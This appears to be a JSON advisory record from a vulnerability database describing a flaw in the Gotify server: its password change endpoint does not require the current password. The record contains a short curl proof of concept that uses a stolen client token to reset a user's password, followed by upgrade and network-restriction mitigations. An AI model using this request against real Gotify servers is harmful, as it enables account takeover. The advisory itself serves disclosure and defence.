{"id":"GHSA-3hcj-9m7p-wwm9","revision":"e93c6cc0a50a47dfb11d1cc4ae06a209","records":[{"revision":"e93c6cc0a50a47dfb11d1cc4ae06a209","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-3hcj-9m7p-wwm9","aliases":["CVE-2026-102603","GO-2026-6772"],"title":"Gotify: Insufficiently Protected Password Change endpoint","description":"The password change endpoint (`POST /current/user/password`) in Gotify versions <= 2.9.1 does not require knowledge of the current password. An attacker in possession of a valid client token can set a new password for the affected user. Recovering the account requires administrator intervention or direct database access.\n\n## PoC\n\n```bash\n# Attacker has obtained a client token\n# No prior password knowledge required\nSTOLEN_TOKEN=\"Cxxxxxxxxxx\"\n\ncurl -X POST \"http://gotify-host/current/user/password?token=${STOLEN_TOKEN}\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"pass\":\"attacker_controls_this\"}'\n# Expected response:\n# HTTP/1.1 200 OK\n```\n\n## Mitigation\n\n- Upgrade to Gotify 3.0.0, which introduces step-up authentication: changing the  password now requires re-authenticating with the account password, or\n- Restrict access to the state-changing endpoints under `/user` and  `/current/user` to trusted networks.","state":0,"publishedAt":"2026-10-15T20:15:38+00:00","modifiedAt":"2026-10-19T21:41:12.7359247+00:00","affected":[{"ecosystem":"Go","name":"github.com/gotify/server/v2","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"last_affected","version":"2.9.1"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/gotify/server/v3","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"3.0.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/gotify/server/security/advisories/GHSA-3hcj-9m7p-wwm9","https://nvd.nist.gov/vuln/detail/CVE-2026-102603","https://github.com/gotify/server/pull/952","https://github.com/gotify/server/commit/a8744482c668e07a61798573ec8e17bd3f6009f9","https://github.com/gotify/server","https://github.com/gotify/server/releases/tag/v3.0.0"],"sourceUrl":"https://github.com/advisories/GHSA-3hcj-9m7p-wwm9","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-3hcj-9m7p-wwm9","identifiers":["GHSA-3hcj-9m7p-wwm9","CVE-2026-102603","GO-2026-6772"]},"retained":false,"historicalAffected":[]}],"coverage":[]}